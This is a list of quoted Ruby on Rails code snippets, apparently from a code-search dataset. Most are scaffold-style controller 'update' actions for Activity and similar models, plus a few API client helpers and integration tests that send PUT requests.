"def update\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n flash[:notice] = 'Attività aggiornata correttamente'\n format.html { redirect_to(@activity) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @today_activity = TodayActivity.find(params[:id])\n\n respond_to do |format|\n if @today_activity.update_attributes(params[:today_activity])\n flash[:notice] = 'TodayActivity was successfully updated.'\n format.html { redirect_to(@today_activity) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @today_activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n format.html { redirect_to(@activity, :notice => 'Activity was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n flash[:notice] = I18n.t('activities.controller.Successfully_updated')\n format.html { redirect_to(activities_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response 401\r\n end",
"def update\n @spot_activity = SpotActivity.find(params[:id])\n\n respond_to do |format|\n if @spot_activity.update_attributes(params[:spot_activity])\n format.html { redirect_to(@spot_activity, :notice => 'SpotActivity was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @spot_activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def update_activities!\n _, _, host, = URI.split url\n PublicActivity::Activity.where(trackable: self).update_all(\n parameters: {\n namespace_id: namespace.id,\n namespace_name: namespace.clean_name,\n webhook_url: url,\n webhook_host: host\n }\n )\n end",
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def edit_activity\n @activity = Activity.find(params[:id])\n end",
"def update\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n flash[:success] = 'Activity was successfully updated.'\n format.html { redirect_to activities_path }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n @activity.status = Activity::SETTED if @activity.setting?\n if @activity.update(activity_params)\n format.html { redirect_to activities_url, notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @activity = Activity.find(params[:id])\n\t\tauthorize! :update, @activity\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n flash[:notice] = 'Activity was successfully updated.'\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:app_id])\n @activity = @app.activities.find(params[:id])\n\n if params[:cancel_edit_activity_button]\n respond_to do |format|\n format.html do\n if request.xhr? \n render :partial => 'shared/activity', :locals => { :activity => @activity }\n else\n redirect_to apps_url\n end\n end\n \n format.xml { head :ok }\n end\n \n return\n end\n\n @vscm = Brazil::AppSchemaVersionControl.new(:vc_type => Brazil::AppSchemaVersionControl::TYPE_SUBVERSION, :vc_path => @app.vc_path, :vc_uri => ::AppConfig.vc_uri) \n @base_versions = @vscm.find_versions(params[:arg])\n @base_versions << Activity::NO_BASE_VERSION if @base_versions.count == 0\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n flash[:notice] = 'Activity was successfully updated.'\n format.html do\n if request.xhr?\n render :partial => \"shared/activity\", :locals => {:activity => @activity}\n else\n redirect_to app_activity_path(@app, @activity)\n end\n end\n format.xml { head :ok }\n else\n format.html do\n if request.xhr?\n render :action => \"edit\", :layout => false, :status => :unprocessable_entity\n else\n render :action => \"edit\"\n end\n end\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @activity = Activity.find(params[:id])\n\n if params.has_key?('hidden-activity') and params['hidden-activity'].has_key?('tag_list')\n \tparams[:activity][:tag_list] = params['hidden-activity'][:tag_list]\n end\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n \n if @activity.created_at < 1.day.ago\n \tauthorize! :edit, @activity\n end\n end",
"def update\n @activity = Activity.find(params[:id])\n @attcategories = Attcategory.find(:all)\n \n duration = params[:activity_hours].to_i * 60\n duration += params[:activity_minutes].to_i\n \n args = params[:activity].merge!({\"duration\" => duration})\n \n # Work around - initialize attributes to zero every\n # time before filling them back in\n @activity.update_attributes(:actattribute_ids => [])\n\n respond_to do |format|\n if @activity.update_attributes(args)\n flash[:notice] = 'Activity was successfully updated.'\n format.html { redirect_to(@activity) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n ap = activity_params\n if !ap[:points].nil?\n doc = Nokogiri::XML(ap[:points].read)\n parse_gpx(doc,ap)\n end\n\n respond_to do |format|\n if @activity.update(ap)\n @activity.save\n\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n r = Reciever.where(\"name == ? \", activity_params[:reciever][:name].upcase)\n r.empty? ? @reciever = Reciever.new(name: activity_params[:reciever][:name].upcase) : @reciever = r.first\n\n respond_to do |format|\n if @activity.update(activity_params.except(:reciever))\n @reciever.save\n @reciever.activities << @activity\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @activity_inventory = ActivityInventory.find(params[:id])\n\n respond_to do |format|\n if @activity_inventory.update_attributes(params[:activity_inventory])\n flash[:notice] = 'ActivityInventory was successfully updated.'\n format.html { redirect_to(@activity_inventory) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity_inventory.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n format.html { redirect_to( course_path(params[:course_id]), :notice => 'Lista de presença salva com sucesso') }\n format.html { redirect_to(@activity, :notice => 'activity was successfully updated.') }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @estagio = Estagio.find(params[:id])\n\n respond_to do |format|\n if @estagio.update_attributes(params[:estagio])\n flash[:notice] = 'Estagio was successfully updated.'\n format.html { redirect_to(@estagio) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @estagio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @activity.nil?\n send_error_json( @activity.id, \"Param 'activity' missing\", 400)\n return\n end\n\n fav = true\n if params['activity'].nil? || params['activity']['favourite'].nil? || params['activity']['favourite']=='false'\n fav = false\n end\n update_hash = {:favourite => fav}\n\n if params['activity'] && params['activity']['intensity']\n update_hash[:intensity] = params['activity']['intensity'].to_f\n end\n\n if params['activity'] && params['activity']['group']\n update_hash[:group] = params['activity']['group']\n end\n\n if params['activity'] && params['activity']['name']\n at = ActivityType.where(name: params['activity']['name']).first\n if !at.nil?\n update_hash[:activity_type_id] = at.id\n else\n send_error_json(@activity.id, \"Invalid activity type\", 400)\n return\n end\n end\n\n if @activity.update_attributes(update_hash)\n send_success_json(@activity.id)\n else\n send_error_json(@activity.id, @activity.errors.full_messages.to_sentence, 400)\n end\n\n end",
"def update_activity(id:, **args)\n params = parameters(args) do\n optional_params :subject, :type, :done, :due_date, :due_time, :duration, :user_id, :deal_id, :person_id, :participants, :org_id, :note\n end\n request(:put, \"activities/#{id}\", params)\n end",
"def update\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n format.html { redirect_to current_user, notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #@activity = Activity.find(params[:id])\n @activity = Activity.find_by_permalink(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n format.html { redirect_to(@activity, :notice => 'Activity was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @activity_tag = ActivityTag.find(params[:id])\n\n respond_to do |format|\n if @activity_tag.update_attributes(params[:activity_tag])\n format.html { redirect_to @activity_tag, notice: 'Activity tag was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity_tag.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @activity\n if @activity.delete\n head :no_content\n else\n head :gone\n end\n else\n head :unprocessable_entity\n end\n\n end",
"def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @evactivity = Evactivity.new(params[:evactivity])\n\n respond_to do |format|\n if @evactivity.save\n flash[:notice] = 'Evactivity was successfully created.'\n format.html { redirect_to(@evactivity) }\n format.xml { render :xml => @evactivity, :status => :created, :location => @evactivity }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @evactivity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end",
"def destroy\n @evactivity = Evactivity.find(params[:id])\n @evactivity.destroy\n\n respond_to do |format|\n format.html { redirect_to(evactivities_url) }\n format.xml { head :ok }\n end\n end",
"def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to activities_path, notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # make sure that user have access to activity else raise execption\n current_user.user_activities.find(params[:id])\n \n # re query from database beacuse user_activities call have joins operation that make the record readony\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n format.html { redirect_to activity_path(@activity), notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end",
"def update\n @activity_type = ActivityType.find(params[:id])\n\n respond_to do |format|\n if @activity_type.update_attributes(params[:activity_type])\n format.html { redirect_to @activity_type, notice: 'Activity type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @activity.update(activity_params)\n #remove all existed contents first\n @activity.activity_contents.destroy_all\n activity_contents = JSON.parse(params[:activity][:activity_contents])\n activity_contents.each do |content|\n ActivityContent.create(activity_id: @activity.id,\n sport_option: content[\"sport_option\"],\n quantity: content[\"quantity\"])\n end\n format.html {redirect_to @activity, notice: 'Activity was successfully updated.'}\n format.json {render :show, status: :ok, location: @activity}\n format.js {render 'users/create_activity'}\n else\n format.html {render :edit}\n format.json {render json: @activity.errors, status: :unprocessable_entity}\n format.js {render 'activities/create', layout: false, content_type: 'text/javascript'}\n end\n end\n end",
"def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Goal activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @jeux_video.update(jeux_video_params)\n @jeux_video.create_activity :update, owner: current_user, read: false\n format.html { redirect_to @jeux_video, notice: 'Jeux video was successfully updated.' }\n format.json { render :show, status: :ok, location: @jeux_video }\n else\n format.html { render :edit }\n format.json { render json: @jeux_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @activity_item = ActivityItem.find(params[:id])\n\n respond_to do |format|\n if @activity_item.update_attributes(params[:activity_item])\n format.html { redirect_to @activity_item, notice: 'Activity item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @recent_activity = RecentActivity.find(params[:id])\n\n respond_to do |format|\n if @recent_activity.update_attributes(params[:recent_activity])\n format.html { redirect_to @recent_activity, notice: 'Recent activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recent_activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @workflow\n respond_to do |format|\n if @workflow.update(workflow_params)\n @workflow.create_activity(:update, owner: current_user) if @workflow.log_update_activity?\n format.html { redirect_to @workflow, notice: 'Workflow was successfully updated.' }\n format.json { render :show, status: :ok, location: @workflow }\n else\n format.html { render :edit }\n format.json { render json: @workflow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to [@course, @learning_unit, @activity], notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to project_activity_url(@project, @activity), notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @step = TaskrequestsStep.find(params[:taskrequests_step_id])\n @absence_request = @step.absence_requests.find(params[:id])\n\n respond_to do |format|\n if @absence_request.update_attributes(params[:absence_request])\n format.html { redirect_to(@absence_request, :notice => 'Absence request was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @absence_request.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def publish_xml(activity_xml)\n logger.info(\"Publishing activities for #{self.name}\")\n publisher_path = \"#{self.uri}/activity.xml\"\n post(publisher_path, activity_xml)\n end",
"def update\n respond_to do |format|\n if @activity.update(activity_params)\n# format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.html { redirect_to \"/activities/nanjingstart\", notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n params = opportunity_params\n\n unless params[:new_activity].blank?\n activity = Activity.find_by_title(params[:new_activity])\n if activity.nil?\n activity = Activity.new(:title => params[:new_activity])\n activity.save\n end\n params[:activity_id] = activity.id\n end\n\n unless params[:new_sub_activity].blank?\n sub_activity = @opportunity.activity.sub_activities.find_by_title(params[:new_sub_activity])\n if sub_activity.nil?\n sub_activity = @opportunity.activity.sub_activities.new(:title => params[:new_sub_activity])\n sub_activity.save\n end\n params[:sub_activity_id] = sub_activity.id\n end\n respond_to do |format|\n if @opportunity.update(params)\n format.html { redirect_to @opportunity, notice: 'Opportunity was successfully updated.' }\n format.json { render :show, status: :ok, location: @opportunity }\n else\n @activities = Activity.all\n @sub_activities = @opportunity.activity.sub_activities.order(:title)\n format.html { render :edit }\n format.json { render json: @opportunity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ev.update(ev_params)\n format.html { redirect_to @ev, notice: 'Ev was successfully updated.' }\n format.json { render :show, status: :ok, location: @ev }\n else\n format.html { render :edit }\n format.json { render json: @ev.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @activity = Activity.find(params[:id])\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n @activity.update_attribute(:enabled,params[:activity][:enabled])\n flash[:notice] = 'Activity was successfully updated.'\n format.html { redirect_to([:manage, @activity]) }\n format.xml { head :ok }\n else\n format.html { render :activity => \"edit\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @activities_project = ActivitiesProject.find(params[:id])\n\n respond_to do |format|\n if @activities_project.update_attributes(params[:activities_project])\n format.html { redirect_to(@activities_project, :notice => 'Activities project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activities_project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @activity = Activity.where(:user_id => current_user.id).find(params[:id])\n\n respond_to do |format|\n if params[:activity][:force_update]\n \n params[:activity][:force_update] = nil\n @activity.completed = params[:activity][:completed]\n \n if @activity.save(:validate => false)\n flash[:success] = \"Activity updated\"\n format.html { redirect_to(request.env[\"HTTP_REFERER\"]) }\n format.xml { head :ok }\n end\n \n elsif @activity.update_attributes(params[:activity])\n flash[:success] = \"Activity updated\"\n \n format.js { render :text => 'OK' }\n format.html { redirect_to( activities_path , :success => 'Activity updated.') }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.js { render :text => 'KO' }\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n format.json { render :json => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_rest\n @page_usage_event = PageUsageEvent.find(params[:id])\n\n respond_to do |format|\n if @page_usage_event.update_attributes(params[:page_usage_event])\n flash[:notice] = 'PageUsageEvent was successfully updated.'\n format.html { redirect_to(@page_usage_event) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page_usage_event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @activite = Activite.find(params[:id])\n\n \n respond_to do |format|\n if @activite.update_attributes(params[:activite])\n format.html { redirect_to(@activite, :notice => 'Activite was successfully updated.') }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>@activite}}\n \n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activite.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def activities=(value)\n @activities = value\n end",
"def update\n respond_to do |format|\n if @acticle.update(acticle_params)\n format.html { redirect_to @acticle, notice: 'Acticle was successfully updated.' }\n format.json { render :show, status: :ok, location: @acticle }\n else\n format.html { render :edit }\n format.json { render json: @acticle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if params[:commit] == \"Cancel\"\n session[:activity_draft] = nil # delete any saved draft\n redirect_to activities_url\n else\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n session[:activity_draft] = nil # delete any saved draft\n format.html do \n flash[:notice] = \"#{@class_name_titleized}: #{@activity.name} was successfully updated.\"\n if params[:commit] == \"Save and keep editing\"\n redirect_to edit_activity_url(@activity)\n else\n redirect_to activity_url(@activity)\n end\n end\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors.to_xml }\n end\n end\n end\n end",
"def update\n cancel = params[:commit] == \"Cancel\"\n @external_activity = ExternalActivity.find(params[:id])\n authorize @external_activity\n\n if params[:update_material_properties]\n # set the material_properties tags\n @external_activity.material_property_list = (params[:material_properties] || [])\n @external_activity.save\n end\n\n if params[:update_cohorts]\n # set the cohort tags\n @external_activity.set_cohorts_by_id(params[:cohort_ids] || [])\n @external_activity.save\n end\n\n if params[:update_grade_levels]\n # set the grade_level tags\n @external_activity.grade_level_list = (params[:grade_levels] || [])\n @external_activity.save\n end\n\n if params[:update_subject_areas]\n # set the subject_area tags\n @external_activity.subject_area_list = (params[:subject_areas] || [])\n @external_activity.save\n end\n\n if params[:update_sensors]\n # set the sensor tags\n @external_activity.sensor_list = (params[:sensors] || [])\n @external_activity.save\n end\n\n if params[:update_projects]\n # set the projects\n @external_activity.projects = Admin::Project.where(id: params[:project_ids] || [])\n @external_activity.save\n end\n\n if params[:update_external_reports]\n # set the external reports\n @external_activity.external_report_ids= (params[:external_reports] || [])\n @external_activity.save\n end\n\n respond_to do |format|\n # allow for params[:external_activity] to not exist while other update_* params to update\n if !params[:external_activity] || @external_activity.update(external_activity_strong_params(params[:external_activity]))\n flash['notice'] = 'ExternalActivity was successfully updated.'\n # redirect to browse path instead of show page since the show page is deprecated\n format.html { redirect_to(browse_external_activity_path(@external_activity)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @external_activity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @emt = Emt.find(params[:id])\n\n respond_to do |format|\n if @emt.update_attributes(params[:emt])\n format.html { redirect_to(incident_timesheet_path, :notice => 'EMT was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @emt.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update\n @breadcrumb = 'update'\n @activity = Activity.find(params[:id])\n @activity.updated_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n format.html { redirect_to @activity,\n notice: (crud_notice('updated', @activity) + \"#{undo_link(@activity)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @invoiceline = Invoiceline.find(params[:id])\n\n respond_to do |format|\n if @invoiceline.update_attributes(params[:invoiceline])\n format.html { redirect_to(@invoiceline, :notice => 'Invoiceline was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invoiceline.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to [:phone, @activity], notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @activo = Activo.find(params[:id])\n \n respond_to do |format|\n if @activo.update_attributes(params[:activo])\n format.html { redirect_to(@activo, :notice => 'Activo was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @ep = Ep.find(params[:id])\n\n respond_to do |format|\n if @ep.update_attributes(params[:ep])\n flash[:notice] = 'Ep was successfully updated.'\n format.html { redirect_to(@ep) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ep.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @dev_activity.update(dev_activity_params)\n format.html { redirect_to @dev_activity, notice: 'The Development Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @dev_activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_activity\n @activity = Activity.find(params[:id])\n end",
"def set_activity\n @activity = Activity.find(params[:id])\n end",
"def set_activity\n @activity = Activity.find(params[:id])\n end",
"def set_activity\n @activity = Activity.find(params[:id])\n end",
"def set_activity\n @activity = Activity.find(params[:id])\n end",
"def set_activity\n @activity = Activity.find(params[:id])\n end",
"def set_activity\n @activity = Activity.find(params[:id])\n end",
"def set_activity\n @activity = Activity.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @activity.update(activity_params)\n flash[:success] = 'Activity was successfully updated.'\n correct_execution format, :ok\n else\n error_execution format, :edit\n end\n end\n end",
